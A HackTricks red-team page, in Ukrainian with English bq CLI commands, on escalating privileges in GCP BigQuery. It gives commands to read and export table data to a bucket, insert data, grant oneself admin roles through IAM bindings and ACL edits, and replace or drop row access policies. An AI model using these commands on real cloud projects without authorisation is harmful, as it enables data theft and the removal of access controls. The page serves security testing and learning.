GCP - BigQuery Privesc

Вчіться та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вчіться та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами у Twitter 🐦 @hacktricks_live.
Діліться хакерськими трюками, подаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.

BigQuery

Для отримання додаткової інформації про BigQuery перевірте:

GCP - Bigquery Enum

Читання таблиці

Читання інформації, що зберігається в таблиці BigQuery, може дозволити знайти чутливу інформацію. Для доступу до інформації потрібні дозволи bigquery.tables.get , bigquery.jobs.create та bigquery.tables.getData:

bq head <dataset>.<table>
bq query --nouse_legacy_sql 'SELECT * FROM `<proj>.<dataset>.<table-name>` LIMIT 1000'

Export data

Це ще один спосіб доступу до даних. Експортуйте їх до cloud storage bucket і завантажте файли з інформацією. Для виконання цієї дії потрібні наступні дозволи: bigquery.tables.export, bigquery.jobs.create та storage.objects.create.

bq extract <dataset>.<table> "gs://<bucket>/table*.csv"

Insert data

Можливо, можна ввести певні довірені дані в таблицю Bigquery, щоб зловживати вразливістю в іншому місці. Це можна легко зробити за допомогою дозволів bigquery.tables.get, bigquery.tables.updateData та bigquery.jobs.create:

# Via query
bq query --nouse_legacy_sql 'INSERT INTO `<proj>.<dataset>.<table-name>` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

# Via insert param
bq insert dataset.table /tmp/mydata.json

`bigquery.datasets.setIamPolicy`

Зловмисник може зловживати цим привілеєм, щоб надати собі додаткові дозволи на набір даних BigQuery:

# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

`bigquery.datasets.update`, (`bigquery.datasets.get`)

Лише цей дозвіл дозволяє оновити ваш доступ до BigQuery dataset шляхом зміни ACLs, які вказують, хто може отримати до нього доступ:

# Download current permissions, reqires bigquery.datasets.get
bq show --format=prettyjson <proj>:<dataset> > acl.json
## Give permissions to the desired user
bq update --source acl.json <proj>:<dataset>
## Read it with
bq head $PROJECT_ID:<dataset>.<table>

`bigquery.tables.setIamPolicy`

Зловмисник може зловживати цим привілеєм, щоб надати собі додаткові дозволи на таблицю BigQuery:

# For this you also need bigquery.tables.setIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>.<table>

# use the set-iam-policy if you don't have bigquery.tables.setIamPolicy

`bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

Згідно з документацією, з вказаними дозволами можливо оновити політику рядків. Однак, використовуючи cli bq вам потрібно ще дещо: bigquery.rowAccessPolicies.create, bigquery.tables.get.

bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

Можливо знайти ID фільтра у виведенні переліку політик рядків. Приклад:

bq ls --row_access_policies <proj>:<dataset>.<table>

Id        Filter Predicate            Grantees              Creation Time    Last Modified Time
------------- ------------------ ----------------------------- ----------------- --------------------
apac_filter   term = "Cfba"      user:asd@hacktricks.xyz   21 Jan 23:32:09   21 Jan 23:32:09

Якщо у вас є bigquery.rowAccessPolicies.delete замість bigquery.rowAccessPolicies.update, ви також можете просто видалити політику:

# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Ще один потенційний варіант обійти політики доступу до рядків - просто змінити значення обмежених даних. Якщо ви можете бачити лише коли term є Cfba, просто змініть всі записи таблиці, щоб мати term = "Cfba". Однак це запобігається bigquery.

Підтримайте HackTricks

Перевірте плани підписки!
Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами на Twitter 🐦 @hacktricks_live.
Діліться хакерськими трюками, подаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.